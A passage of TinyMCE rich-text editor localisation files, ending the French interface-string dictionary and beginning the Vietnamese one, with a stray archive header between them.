"Rich Text Area. Press ALT-0 for help.": "Zone de texte riche. Appuyez sur ALT-0 pour l'aide.",
"System Font": "Police syst\u00e8me",
"Failed to upload image: {0}": "\u00c9chec d'envoi de l'image\u00a0: {0}",
"Failed to load plugin: {0} from url {1}": "\u00c9chec de chargement du plug-in\u00a0: {0} \u00e0 partir de l\u2019URL {1}",
"Failed to load plugin url: {0}": "\u00c9chec de chargement de l'URL du plug-in\u00a0: {0}",
"Failed to initialize plugin: {0}": "\u00c9chec d'initialisation du plug-in\u00a0: {0}",
"example": "exemple",
"Search": "Rechercher",
"All": "Tout",
"Currency": "Devise",
"Text": "Texte",
"Quotations": "Citations",
"Mathematical": "Op\u00e9rateurs math\u00e9matiques",
"Extended Latin": "Latin \u00e9tendu",
"Symbols": "Symboles",
"Arrows": "Fl\u00e8ches",
"User Defined": "D\u00e9fini par l'utilisateur",
"dollar sign": "Symbole dollar",
"currency sign": "Symbole devise",
"euro-currency sign": "Symbole euro",
"colon sign": "Symbole col\u00f3n",
"cruzeiro sign": "Symbole cruzeiro",
"french franc sign": "Symbole franc fran\u00e7ais",
"lira sign": "Symbole lire",
"mill sign": "Symbole milli\u00e8me",
"naira sign": "Symbole naira",
"peseta sign": "Symbole peseta",
"rupee sign": "Symbole roupie",
"won sign": "Symbole won",
"new sheqel sign": "Symbole nouveau ch\u00e9kel",
"dong sign": "Symbole dong",
"kip sign": "Symbole kip",
"tugrik sign": "Symbole tougrik",
"drachma sign": "Symbole drachme",
"german penny symbol": "Symbole pfennig",
"peso sign": "Symbole peso",
"guarani sign": "Symbole guarani",
"austral sign": "Symbole austral",
"hryvnia sign": "Symbole hryvnia",
"cedi sign": "Symbole cedi",
"livre tournois sign": "Symbole livre tournois",
"spesmilo sign": "Symbole spesmilo",
"tenge sign": "Symbole tenge",
"indian rupee sign": "Symbole roupie indienne",
"turkish lira sign": "Symbole lire turque",
"nordic mark sign": "Symbole du mark nordique",
"manat sign": "Symbole manat",
"ruble sign": "Symbole rouble",
"yen character": "Sinogramme Yen",
"yuan character": "Sinogramme Yuan",
"yuan character, in hong kong and taiwan": "Sinogramme Yuan, Hong Kong et Taiwan",
"yen\/yuan character variant one": "Sinogramme Yen\/Yuan, premi\u00e8re variante",
"Loading emoticons...": "Chargement des \u00e9motic\u00f4nes en cours...",
"Could not load emoticons": "\u00c9chec de chargement des \u00e9motic\u00f4nes",
"People": "Personnes",
"Animals and Nature": "Animaux & nature",
"Food and Drink": "Nourriture & boissons",
"Activity": "Activit\u00e9",
"Travel and Places": "Voyages & lieux",
"Objects": "Objets",
"Flags": "Drapeaux",
"Characters": "Caract\u00e8res",
"Characters (no spaces)": "Caract\u00e8res (espaces non compris)",
"{0} characters": "{0}\u00a0caract\u00e8res",
"Error: Form submit field collision.": "Erreur\u00a0: conflit de champs lors de la soumission du formulaire.",
"Error: No form element found.": "Erreur : aucun \u00e9l\u00e9ment de formulaire trouv\u00e9.",
"Update": "Mettre \u00e0 jour",
"Color swatch": "\u00c9chantillon de couleurs",
"Turquoise": "Turquoise",
"Green": "Vert",
"Blue": "Bleu",
"Purple": "Violet",
"Navy Blue": "Bleu marine",
"Dark Turquoise": "Turquoise fonc\u00e9",
"Dark Green": "Vert fonc\u00e9",
"Medium Blue": "Bleu moyen",
"Medium Purple": "Violet moyen",
"Midnight Blue": "Bleu de minuit",
"Yellow": "Jaune",
"Orange": "Orange",
"Red": "Rouge",
"Light Gray": "Gris clair",
"Gray": "Gris",
"Dark Yellow": "Jaune fonc\u00e9",
"Dark Orange": "Orange fonc\u00e9",
"Dark Red": "Rouge fonc\u00e9",
"Medium Gray": "Gris moyen",
"Dark Gray": "Gris fonc\u00e9",
"Light Green": "Vert clair",
"Light Yellow": "Jaune clair",
"Light Red": "Rouge clair",
"Light Purple": "Violet clair",
"Light Blue": "Bleu clair",
"Dark Purple": "Violet fonc\u00e9",
"Dark Blue": "Bleu fonc\u00e9",
"Black": "Noir",
"White": "Blanc",
"Switch to or from fullscreen mode": "Passer en ou quitter le mode plein \u00e9cran",
"Open help dialog": "Ouvrir la bo\u00eete de dialogue d'aide",
"history": "historique",
"styles": "styles",
"formatting": "mise en forme",
"alignment": "alignement",
"indentation": "retrait",
"Font": "Police",
"Size": "Taille",
"More...": "Plus...",
"Select...": "S\u00e9lectionner...",
"Preferences": "Pr\u00e9f\u00e9rences",
"Yes": "Oui",
"No": "Non",
"Keyboard Navigation": "Navigation au clavier",
"Version": "Version",
"Code view": "Affichage du code",
"Open popup menu for split buttons": "Ouvrir le menu contextuel pour les boutons partag\u00e9s",
"List Properties": "Propri\u00e9t\u00e9s de la liste",
"List properties...": "Lister les propri\u00e9t\u00e9s...",
"Start list at number": "Liste de d\u00e9part au num\u00e9ro",
"Line height": "Hauteur de la ligne",
"comments": "commentaires",
"Format Painter": "Reproduire la mise en forme",
"Insert\/edit iframe": "Ins\u00e9rer\/modifier iframe",
"Capitalization": "Mise en majuscules",
"lowercase": "minuscule",
"UPPERCASE": "MAJUSCULE",
"Title Case": "Casse du titre",
"permanent pen": "feutre ind\u00e9l\u00e9bile",
"Permanent Pen Properties": "Propri\u00e9t\u00e9s du feutre ind\u00e9l\u00e9bile",
"Permanent pen properties...": "Propri\u00e9t\u00e9s du feutre ind\u00e9l\u00e9bile...",
"case change": "changement de cas",
"page embed": "int\u00e9gration de page",
"Advanced sort...": "Tri avanc\u00e9...",
"Advanced Sort": "Tri avanc\u00e9",
"Sort table by column ascending": "Trier le tableau par colonne ascendante",
"Sort table by column descending": "Trier le tableau par colonne en ordre d\u00e9croissant",
"Sort": "Sorte",
"Order": "Ordre",
"Sort by": "Trier par",
"Ascending": "Ascendant",
"Descending": "Descendant",
"Column {0}": "Colonne {0}",
"Row {0}": "Ligne {0}",
"Spellcheck...": "V\u00e9rification orthographique...",
"Misspelled word": "Mot mal orthographi\u00e9",
"Suggestions": "Suggestions",
"Change": "Changement",
"Finding word suggestions": "Trouver des suggestions de mots",
"Success": "Succ\u00e8s",
"Repair": "R\u00e9paration",
"Issue {0} of {1}": " {0} Erreur sur  {1}",
"Images must be marked as decorative or have an alternative text description": "Les images doivent \u00eatre marqu\u00e9es comme d\u00e9coratives ou avoir une description textuelle alternative",
"Images must have an alternative text description. Decorative images are not allowed.": "Les images doivent avoir une description textuelle alternative. Les images d\u00e9coratives ne sont pas autoris\u00e9es.",
"Or provide alternative text:": "Ou fournissez un texte alternatif\u00a0:",
"Make image decorative:": "Rendre l'image d\u00e9corative\u00a0:",
"ID attribute must be unique": "L'attribut ID doit \u00eatre unique",
"Make ID unique": "Rendre l'identifiant unique",
"Keep this ID and remove all others": "Conservez cet identifiant et supprimez tous les autres",
"Remove this ID": "Supprimer cet identifiant",
"Remove all IDs": "Supprimer tous les identifiants",
"Checklist": "Liste de contr\u00f4le",
"Anchor": "Ancre",
"Special character": "Caract\u00e8res sp\u00e9ciaux",
"Code sample": "Extrait de code",
"Color": "Couleur",
"Document properties": "Propri\u00e9t\u00e9 du document",
"Image description": "Description de l'image",
"Image": "Image",
"Insert link": "Ins\u00e9rer un lien",
"Target": "Cible",
"Link": "Lien",
"Poster": "Publier",
"Media": "M\u00e9dia",
"Print": "Imprimer",
"Prev": "Pr\u00e9c ",
"Find and replace": "Trouver et remplacer",
"Whole words": "Mots entiers",
"Insert template": "Ajouter un th\u00e8me"
});PK
h�\MV�yLLprogram/js/tinymce/langs/vi.jsnu�[���tinymce.addI18n('vi',{
"Redo": "L\u00e0m l\u1ea1i",
"Undo": "H\u1ee7y thao t\u00e1c",
"Cut": "C\u1eaft",
"Copy": "Sao ch\u00e9p",
"Paste": "D\u00e1n",
"Select all": "Ch\u1ecdn t\u1ea5t c\u1ea3",
"New document": "T\u1ea1o t\u00e0i li\u1ec7u m\u1edbi",
"Ok": "\u0110\u1ed3ng \u00dd",
"Cancel": "Hu\u1ef7 B\u1ecf",
"Visual aids": "M\u1edf khung so\u1ea1n th\u1ea3o",
"Bold": "In \u0111\u1eadm",
"Italic": "In nghi\u00eang",
"Underline": "G\u1ea1ch d\u01b0\u1edbi",
"Strikethrough": "G\u1ea1ch ngang",
"Superscript": "K\u00fd t\u1ef1 m\u0169",
"Subscript": "K\u00fd t\u1ef1 th\u1ea5p",
"Clear formatting": "L\u01b0\u1ee3c b\u1ecf ph\u1ea7n hi\u1ec7u \u1ee9ng",
"Align left": "Canh tr\u00e1i",
"Align center": "Canh gi\u1eefa",
"Align right": "Canh ph\u1ea3i",
"Justify": "Canh \u0111\u1ec1u hai b\u00ean",
"Bullet list": "Danh s\u00e1ch d\u1ea1ng bi\u1ec3u t\u01b0\u1ee3ng",
"Numbered list": "Danh s\u00e1ch d\u1ea1ng s\u1ed1",
"Decrease indent": "Th\u1ee5t l\u00f9i d\u00f2ng",
"Increase indent": "T\u0103ng kho\u1ea3ng c\u00e1ch d\u00f2ng",
"Close": "\u0110\u00f3ng L\u1ea1i",
"Formats": "\u0110\u1ecbnh d\u1ea1ng",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Tr\u00ecnh duy\u1ec7t c\u1ee7a b\u1ea1n kh\u00f4ng h\u1ed7 tr\u1ee3 truy c\u1eadp truy c\u1eadp b\u1ed9 nh\u1edb \u1ea3o, vui l\u00f2ng s\u1eed d\u1ee5ng c\u00e1c t\u1ed5 h\u1ee3p ph\u00edm Ctrl + X, C, V.",
"Headers": "\u0110\u1ea7u trang",
"Header 1": "Ti\u00eau \u0111\u1ec1 1",
"Header 2": "Ti\u00eau \u0111\u1ec1 2",
"Header 3": "Ti\u00eau \u0111\u1ec1 3",
"Header 4": "Ti\u00eau \u0111\u1ec1 4",
"Header 5": "Ti\u00eau \u0111\u1ec1 5",
"Header 6": "Ti\u00eau \u0111\u1ec1 6",
"Headings": "Ph\u1ea7n \u0111\u1ea7u",
"Heading 1": "H1",
"Heading 2": "H2",
"Heading 3": "H3",
"Heading 4": "H4",
"Heading 5": "H5",
"Heading 6": "G6",
"Preformatted": "\u0110\u1ecbnh d\u1ea1ng s\u1eb5n",
"Div": "Khung",
"Pre": "\u0110\u1ecbnh d\u1ea1ng",
"Code": "M\u00e3",
"Paragraph": "\u0110o\u1ea1n v\u0103n",
"Blockquote": "\u0110o\u1ea1n Tr\u00edch D\u1eabn",
"Inline": "C\u00f9ng d\u00f2ng",
"Blocks": "Bao",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Ch\u1ee9c n\u0103ng D\u00e1n \u0111ang trong tr\u1ea1ng th\u00e1i v\u0103n b\u1ea3n \u0111\u01a1n gi\u1ea3n. N\u1ed9i dung s\u1ebd \u0111\u01b0\u1ee3c d\u00e1n d\u01b0\u1edbi d\u1ea1ng v\u0103n b\u1ea3n thu\u1ea7n, kh\u00f4ng c\u00f3 \u0111\u1ecbnh d\u1ea1ng.",
"Fonts": "Ph\u00f4ng ch\u1eef",
"Font Sizes": "C\u1ee1 ch\u1eef",
"Class": "L\u1edbp",
"Browse for an image": "Ch\u00e8n m\u1ed9t h\u00ecnh \u1ea3nh",
"OR": "HO\u1eb6C",
"Drop an image here": "Th\u1ea3 h\u00ecnh \u1ea3nh v\u00e0o \u0111\u00e2y",
"Upload": "T\u1ea3i l\u00ean",
"Block": "Kh\u1ed1i",
"Align": "Canh l\u1ec1",
"Default": "M\u1eb7c \u0111\u1ecbnh",
"Circle": "H\u00ecnh tr\u00f2n",
"Disc": "H\u00ecnh tr\u00f2n  d\u1ea1ng m\u1ecfng",
"Square": "\u00d4 vu\u00f4ng",
"Lower Alpha": "K\u00fd t\u1ef1 th\u01b0\u1eddng",
"Lower Greek": "S\u1ed1 hy l\u1ea1p th\u01b0\u1eddng",
"Lower Roman": "S\u1ed1 la m\u00e3 th\u01b0\u1eddng",
"Upper Alpha": "K\u00fd t\u1ef1 hoa",
"Upper Roman": "S\u1ed1 la m\u00e3 hoa",
"Anchor...": "Neo...",
"Name": "T\u00ean",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.",
"You have unsaved changes are you sure you want to navigate away?": "B\u1ea1n ch\u01b0a l\u01b0u thay \u0111\u1ed5i b\u1ea1n c\u00f3 ch\u1eafc b\u1ea1n mu\u1ed1n di chuy\u1ec3n \u0111i?",
"Restore last draft": "Kh\u00f4i ph\u1ee5c b\u1ea3n g\u1ea7n nh\u1ea5t",
"Special character...": "K\u00fd t\u1ef1 \u0111\u1eb7c bi\u1ec7t...",
"Source code": "M\u00e3 ngu\u1ed3n",
"Insert\/Edit code sample": "Ch\u00e8n\/S\u1eeda m\u00e3 m\u1eabu",
"Language": "Ng\u00f4n ng\u1eef",
"Code sample...": "Code sample...",
"Color Picker": "B\u1ea3ng ch\u1ecdn m\u00e0u",
"R": "M\u00e0u \u0111\u1ecf",
"G": "M\u00e0u xanh l\u00e1 c\u00e2y",
"B": "M\u00e0u xanh da tr\u1eddi",
"Left to right": "Tr\u00e1i sang ph\u1ea3i",
"Right to left": "Ph\u1ea3i sang tr\u00e1i",
"Emoticons...": "Bi\u1ec3u t\u01b0\u1ee3ng c\u1ea3m x\u00fac...",
"Metadata and Document Properties": "Metadata v\u00e0 Thu\u1ed9c t\u00ednh v\u0103n b\u1ea3n",
"Title": "Ti\u00eau \u0111\u1ec1",
"Keywords": "T\u1eeb kh\u00f3a",
"Description": "M\u00f4 t\u1ea3",
"Robots": "Robots",
"Author": "T\u00e1c gi\u1ea3",
"Encoding": "M\u00e3 h\u00f3a",
"Fullscreen": "To\u00e0n m\u00e0n h\u00ecnh",
"Action": "H\u00e0nh \u0111\u1ed9ng",
"Shortcut": "L\u1ed1i t\u1eaft",
"Help": "Tr\u1ee3 gi\u00fap",
"Address": "\u0110\u1ecba ch\u1ec9",
"Focus to menubar": "Focus to menubar",
"Focus to toolbar": "Focus to toolbar",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "Focus to contextual toolbar",
"Insert link (if link plugin activated)": "Ch\u00e8n \u0111\u01b0\u1eddng d\u1eabn",
"Save (if save plugin activated)": "L\u01b0u",
"Find (if searchreplace plugin activated)": "T\u00ecm ki\u1ebfm",
"Plugins installed ({0}):": "Plugins installed ({0}):",
"Premium plugins:": "Premium plugins:",
"Learn more...": "Learn more...",
"You are using {0}": "You are using {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Handy Shortcuts",
"Horizontal line": "K\u1ebb ngang",
"Insert\/edit image": "Ch\u00e8n\/s\u1eeda \u1ea3nh",
"Image description": "M\u00f4 t\u1ea3 \u1ea3nh",
"Source": "Ngu\u1ed3n",
"Dimensions": "K\u00edch th\u01b0\u1edbc",
"Constrain proportions": "T\u1ef7 l\u1ec7 h\u1ea1n ch\u1ebf",
"General": "Chung",
"Advanced": "N\u00e2ng cao",
"Style": "Ki\u1ec3u",
"Vertical space": "N\u1eb1m d\u1ecdc",
"Horizontal space": "N\u1eb1m ngang",
"Border": "\u0110\u01b0\u1eddng vi\u1ec1n",
"Insert image": "Ch\u00e8n \u1ea3nh",
"Image...": "H\u00ecnh \u1ea3nh...",
"Image list": "Image list",
"Rotate counterclockwise": "Xoay tr\u00e1i",
"Rotate clockwise": "Xoay ph\u1ea3i",
"Flip vertically": "L\u1eadt d\u1ecdc",
"Flip horizontally": "L\u1eadt ngang",
"Edit image": "Ch\u1ec9nh s\u1eeda \u1ea3nh",
"Image options": "T\u00f9y ch\u1ecdn \u1ea3nh",
"Zoom in": "Thu nh\u1ecf",
"Zoom out": "Ph\u00f3ng to",
"Crop": "C\u1eaft \u1ea3nh",
"Resize": "Thay \u0111\u1ed5i k\u00edch th\u01b0\u1edbc",
"Orientation": "\u0110\u1ecbnh h\u01b0\u1edbng",
"Brightness": "\u0110\u1ed9 s\u00e1ng",
"Sharpen": "L\u00e0m s\u1eafc n\u00e9t",
"Contrast": "\u0110\u1ed9 t\u01b0\u01a1ng ph\u1ea3n",
"Color levels": "M\u1ee9c \u0111\u1ed9 m\u00e0u",
"Gamma": "M\u00e0u Gamma",
"Invert": "\u0110\u1ea3o ng\u01b0\u1ee3c",
"Apply": "\u00c1p d\u1ee5ng",
"Back": "Quay l\u1ea1i",
"Insert date\/time": "Ch\u00e8n ng\u00e0y\/th\u00e1ng",
"Date\/time": "Date\/time",
"Insert\/Edit Link": "Ch\u00e8n\/S\u1eeda li\u00ean k\u1ebft",
"Insert\/edit link": "Ch\u00e8n\/s\u1eeda li\u00ean k\u1ebft",
"Text to display": "N\u1ed9i dung hi\u1ec3n th\u1ecb",
"Url": "Url",
"Open link in...": "M\u1edf \u0111\u01b0\u1eddng d\u1eabn trong...",
"Current window": "C\u1eeda s\u1ed5 hi\u1ec7n t\u1ea1i",
"None": "Kh\u00f4ng",
"New window": "C\u1eeda s\u1ed5 m\u1edbi",
"Remove link": "B\u1ecf li\u00ean k\u1ebft",
"Anchors": "Neo",
"Link...": "\u0110\u01b0\u1eddng d\u1eabn...",
"Paste or type a link": "Paste or type a link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0110\u1ecba ch\u1ec9 URL b\u1ea1n v\u1eeba nh\u1eadp gi\u1ed1ng nh\u01b0 m\u1ed9t \u0111\u1ecba ch\u1ec9 email. B\u1ea1n c\u00f3 mu\u1ed1n th\u00eam ti\u1ec1n t\u1ed1 mailto: kh\u00f4ng?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0110\u1ecba ch\u1ec9 URL b\u1ea1n v\u1eeba nh\u1eadp gi\u1ed1ng nh\u01b0 m\u1ed9t li\u00ean k\u1ebft. B\u1ea1n c\u00f3 mu\u1ed1n th\u00eam ti\u1ec1n t\u1ed1 http:\/\/ kh\u00f4ng?",
"Link list": "Link list",
"Insert video": "Ch\u00e8n video",
"Insert\/edit video": "Ch\u00e8n\/s\u1eeda video",
"Insert\/edit media": "Insert\/edit media",
"Alternative source": "Ngu\u1ed3n thay th\u1ebf",
"Alternative source URL": "\u0110\u01b0\u1eddng d\u1eabn ngu\u1ed3n thay th\u1ebf",
"Media poster (Image URL)": "\u00c1p ph\u00edch \u0111a ph\u01b0\u01a1ng ti\u1ec7n (\u0110\u01b0\u1eddng d\u1eabn h\u00ecnh \u1ea3nh)",
"Paste your embed code below:": "D\u00e1n m\u00e3 nh\u00fang c\u1ee7a b\u1ea1n d\u01b0\u1edbi \u0111\u00e2y:",
"Embed": "Nh\u00fang",
"Media...": "\u0110a ph\u01b0\u01a1ng ti\u1ec7n...",
"Nonbreaking space": "Kh\u00f4ng xu\u1ed1ng h\u00e0ng",
"Page break": "Ng\u1eaft trang",
"Paste as text": "D\u00e1n \u0111o\u1ea1n v\u0103n b\u1ea3n",
"Preview": "Xem th\u1eed",
"Print...": "In...",
"Save": "L\u01b0u",
"Find": "T\u00ecm ki\u1ebfm",
"Replace with": "Thay th\u1ebf b\u1edfi",
"Replace": "Thay th\u1ebf",
"Replace all": "Thay t\u1ea5t c\u1ea3",
"Previous": "Tr\u01b0\u1edbc",
"Next": "K\u1ebf ti\u1ebfp",
"Find and replace...": "T\u00ecm v\u00e0 thay th\u1ebf...",
"Could not find the specified string.": "Kh\u00f4ng t\u00ecm th\u1ea5y chu\u1ed7i qui \u0111\u1ecbnh",
"Match case": "Tr\u01b0\u1eddng h\u1ee3p xem",
"Find whole words only": "Ch\u1ec9 t\u00ecm to\u00e0n b\u1ed9 t\u1eeb",
"Spell check": "Ki\u1ec3m tra ch\u00ednh t\u1ea3",
"Ignore": "B\u1ecf qua",
"Ignore all": "B\u1ecf qua t\u1ea5t",
"Finish": "Ho\u00e0n t\u1ea5t",
"Add to Dictionary": "Th\u00eam v\u00e0o t\u1eeb \u0111i\u1ec3n",
"Insert table": "Th\u00eam b\u1ea3ng",
"Table properties": "Thu\u1ed9c t\u00ednh b\u1ea3ng",
"Delete table": "Xo\u00e1 b\u1ea3ng",
"Cell": "\u00d4",
"Row": "D\u00f2ng",
"Column": "C\u1ed9t",
"Cell properties": "Thu\u1ed9c t\u00ednh \u00f4",
"Merge cells": "Tr\u1ed9n \u00f4",
"Split cell": "Chia c\u1eaft \u00f4",
"Insert row before": "Th\u00eam d\u00f2ng ph\u00eda tr\u00ean",
"Insert row after": "Th\u00eam d\u00f2ng ph\u00eda d\u01b0\u1edbi",
"Delete row": "Xo\u00e1 d\u00f2ng",
"Row properties": "Thu\u1ed9c t\u00ednh d\u00f2ng",
"Cut row": "C\u1eaft d\u00f2ng",
"Copy row": "Sao ch\u00e9p d\u00f2ng",
"Paste row before": "D\u00e1n v\u00e0o ph\u00eda tr\u01b0\u1edbc, tr\u00ean",
"Paste row after": "D\u00e1n v\u00e0o ph\u00eda sau, d\u01b0\u1edbi",
"Insert column before": "Th\u00eam c\u1ed9t b\u00ean tr\u00e1i",
"Insert column after": "Th\u00eam c\u1ed9t b\u00ean ph\u1ea3i",
"Delete column": "Xo\u00e1 c\u1ed9t",
"Cols": "C\u1ed9t",
"Rows": "D\u00f2ng",
"Width": "\u0110\u1ed9 R\u1ed9ng",
"Height": "\u0110\u1ed9 Cao",
"Cell spacing": "Kho\u1ea3ng c\u00e1ch \u00f4",
"Cell padding": "Kho\u1ea3ng c\u00e1ch trong \u00f4",
"Show caption": "Hi\u1ec7n ti\u00eau \u0111\u1ec1",
"Left": "Tr\u00e1i",
"Center": "Gi\u1eefa",
"Right": "Ph\u1ea3i",
"Cell type": "Lo\u1ea1i \u00f4",
"Scope": "Quy\u1ec1n",
"Alignment": "Canh ch\u1ec9nh",
"H Align": "L\u1ec1 ngang",
"V Align": "L\u1ec1 d\u1ecdc",
"Top": "Tr\u00ean",
"Middle": "Kho\u1ea3ng gi\u1eefa",
"Bottom": "D\u01b0\u1edbi",
"Header cell": "Ti\u00eau \u0111\u1ec1 \u00f4",
"Row group": "Gom nh\u00f3m d\u00f2ng",
"Column group": "Gom nh\u00f3m c\u1ed9t",
"Row type": "Th\u1ec3 lo\u1ea1i d\u00f2ng",
"Header": "Ti\u00eau \u0111\u1ec1",
"Body": "N\u1ed9i dung",
"Footer": "Ch\u00e2n",
"Border color": "M\u00e0u vi\u1ec1n",
"Insert template...": "Th\u00eam m\u1eabu...",
"Templates": "M\u1eabu",
"Template": "Template",
"Text color": "M\u00e0u v\u0103n b\u1ea3n",
"Background color": "M\u00e0u n\u1ec1n",
"Custom...": "Tu\u1ef3 ch\u1ec9nh...",
"Custom color": "Tu\u1ef3 ch\u1ec9nh m\u00e0u",
"No color": "Kh\u00f4ng c\u00f3 m\u00e0u",
"Remove color": "B\u1ecf m\u00e0u",
"Table of Contents": "Table of Contents",
"Show blocks": "Hi\u1ec3n th\u1ecb kh\u1ed1i",
"Show invisible characters": "Hi\u1ec3n th\u1ecb k\u00fd t\u1ef1 \u1ea9n",
"Word count": "S\u1ed1 t\u1eeb",
"Count": "\u0110\u1ebfm",
"Document": "T\u00e0i li\u1ec7u",
"Selection": "L\u1ef1a ch\u1ecdn",
"Words": "T\u1eeb",
"Words: {0}": "T\u1eeb: {0}",
"{0} words": "{0} words",
"File": "T\u1eadp tin",
"Edit": "S\u1eeda",
"Insert": "Ch\u00e8n",
"View": "Xem",
"Format": "\u0110\u1ecbnh d\u1ea1ng",
"Table": "B\u1ea3ng",
"Tools": "C\u00f4ng c\u1ee5",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text Area. B\u1ea5m ALT-F9 m\u1edf menu. B\u1ea5m ALT-F10 m\u1edf thanh c\u00f4ng c\u1ee5. B\u1ea5m ALT-0 m\u1edf tr\u1ee3 gi\u00fap",
"Image title": "Ti\u00eau \u0111\u1ec1 \u1ea3nh",
"Border width": "\u0110\u1ed9 d\u00e0y vi\u1ec1n",
"Border style": "Ki\u1ec3u vi\u1ec1n",
"Error": "L\u1ed7i",
"Warn": "C\u1ea3nh b\u00e1o",
"Valid": "H\u1ee3p l\u1ec7",
"To open the popup, press Shift+Enter": "\u0110\u1ec3 m\u1edf h\u1ed9p tho\u1ea1i, nh\u1ea5n Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "Khu v\u1ef1c Rich Text. Nh\u00e2n ALT-0 \u0111\u1ec3 bi\u1ebft th\u00eam.",
"System Font": "Ph\u00f4ng ch\u1eef h\u1ec7 th\u1ed1ng",
"Failed to upload image: {0}": "Kh\u00f4ng th\u1ec3 \u0111\u0103ng h\u00ecnh: {0}",
"Failed to load plugin: {0} from url {1}": "Kh\u00f4ng th\u1ec3 t\u1ea3i plugin: {0} t\u1eeb \u0111\u01b0\u1eddng d\u1eabn {1}",
"Failed to load plugin url: {0}": "Kh\u00f4ng th\u1ec3 t\u1ea3i \u0111\u01b0\u1eddng d\u1eabn plugin: {0}",
"Failed to initialize plugin: {0}": "Kh\u00f4ng th\u1ec3 kh\u1edfi t\u1ea1o plugin: {0}",
"example": "v\u00ed d\u1ee5",
"Search": "T\u00ecm ki\u1ebfm",
"All": "T\u1ea5t c\u1ea3",
"Currency": "Ti\u1ec1n t\u1ec7",
"Text": "V\u0103n b\u1ea3n",
"Quotations": "Tr\u00edch d\u1eabn",
"Mathematical": "Thu\u1ed9c v\u1ec1 to\u00e1n h\u1ecdc",
"Extended Latin": "Latin m\u1edf r\u1ed9ng",
"Symbols": "K\u00fd hi\u1ec7u",
"Arrows": "M\u0169i t\u00ean",
"User Defined": "\u0110\u1ecbnh ngh\u0129a b\u1edfi ng\u01b0\u1eddi d\u00f9ng",
"dollar sign": "\u00fd hi\u1ec7u \u0111\u00f4 la",
"currency sign": "\u00fd hi\u1ec7u ti\u1ec1n t\u1ec7",
"euro-currency sign": "k\u00fd hi\u1ec7u euro",
"colon sign": "d\u1ea5u hai ch\u1ea5m",
"cruzeiro sign": "k\u00fd hi\u1ec7u cruzeiro",
"french franc sign": "k\u00fd hi\u1ec7u franc Ph\u00e1p",
"lira sign": "\u00fd hi\u1ec7u lira",
"mill sign": "k\u00fd hi\u1ec7u mill",
"naira sign": "k\u00fd hi\u1ec7u naira",
"peseta sign": "k\u00fd hi\u1ec7u peseta",
"rupee sign": "k\u00fd hi\u1ec7u rupee",
"won sign": "k\u00fd hi\u1ec7u won",
"new sheqel sign": "k\u00fd hi\u1ec7u new sheqel",
"dong sign": "k\u00fd hi\u1ec7u \u0111\u00f2ng",
"kip sign": "k\u00fd hi\u1ec7u \u0111\u00f2ng kip",
"tugrik sign": "k\u00fd hi\u1ec7u tugrik",
"drachma sign": "k\u00fd hi\u1ec7u drachma",
"german penny symbol": "k\u00fd hi\u1ec7u xu \u0110\u1ee9c",
"peso sign": "k\u00fd hi\u1ec7u peso",
"guarani sign": "k\u00fd hi\u1ec7u guarani",
"austral sign": "k\u00fd hi\u1ec7u austral",
"hryvnia sign": "k\u00fd hi\u1ec7u hryvnia",
"cedi sign": "k\u00fd hi\u1ec7u cedi ",
"livre tournois sign": "k\u00fd hi\u1ec7u livre tournois",
"spesmilo sign": "k\u00fd hi\u1ec7u spesmilo",
"tenge sign": "K\u00fd hi\u1ec7u tenge",
"indian rupee sign": "k\u00fd hi\u1ec7u rupee \u1ea5n \u0111\u1ed9",
"turkish lira sign": "k\u00fd hi\u1ec7u lira th\u1ed5 nh\u0129 k\u1ef3",
"nordic mark sign": "k\u00fd hi\u1ec7u mark b\u1eafc \u00e2u",
"manat sign": "k\u00fd hi\u1ec7u manat",
"ruble sign": "k\u00fd hi\u1ec7u r\u00fap",
"yen character": "k\u00fd hi\u1ec7u y\u00ean",
"yuan character": "k\u00fd hi\u1ec7u yuan",
"yuan character, in hong kong and taiwan": "k\u00fd hi\u1ec7u yuan, \u1edf h\u1ed3ng k\u00f4ng v\u00e0 \u0111\u00e0i loan",
"yen\/yuan character variant one": "k\u00fd hi\u1ec7u y\u00ean\/yuan bi\u1ebfn th\u1ec3",
"Loading emoticons...": "\u0110ang t\u1ea3i bi\u1ec3u t\u01b0\u1ee3ng c\u1ea3m x\u00fac...",
"Could not load emoticons": "Kh\u00f4ng th\u1ec3 t\u1ea3i bi\u1ec3u t\u01b0\u1ee3ng c\u1ea3m x\u00fac",
"People": "Ng\u01b0\u1eddi",
"Animals and Nature": "\u0110\u1ed9ng v\u1eadt v\u00e0 thi\u00ean nhi\u00ean",
"Food and Drink": "Th\u1ee9c \u0103n v\u00e0 \u0111\u1ed3 u\u1ed1ng",
"Activity": "Ho\u1ea1t \u0111\u1ed9ng",
"Travel and Places": "Du l\u1ecbch v\u00e0 \u0111\u1ecba \u0111i\u1ec3m",
"Objects": "V\u1eadt d\u1ee5ng",
"Flags": "C\u1edd",
"Characters": "Nh\u00e2n v\u1eadt",
"Characters (no spaces)": "K\u00fd t\u1ef1 (kh\u00f4ng kho\u1ea3ng tr\u1ed1ng)",
"{0} characters": "{0} k\u00fd t\u1ef1",
"Error: Form submit field collision.": "L\u1ed7i: Xung \u0111\u1ed9t tr\u01b0\u1eddng trong bi\u1ec3u m\u1eabu.",
"Error: No form element found.": "L\u1ed7i: Kh\u00f4ng t\u00ecm th\u1ea5y bi\u1ec3u m\u1eabu.",
"Update": "C\u1eadp nh\u1eadt",
"Color swatch": "M\u1eabu m\u00e0u",
"Turquoise": "Ng\u1ecdc lam",
"Green": "Xanh l\u00e1",
"Blue": "Xanh d\u01b0\u01a1ng",
"Purple": "T\u00edm",
"Navy Blue": "Xanh n\u01b0\u1edbc bi\u1ec3n",
"Dark Turquoise": "Ng\u1ecdc lam t\u1ed1i",
"Dark Green": "Xanh l\u00e1 c\u00e2y \u0111\u1eadm",
"Medium Blue": "Xanh d\u01b0\u01a1ng nh\u1eb9",
"Medium Purple": "T\u00edm nh\u1eb9",
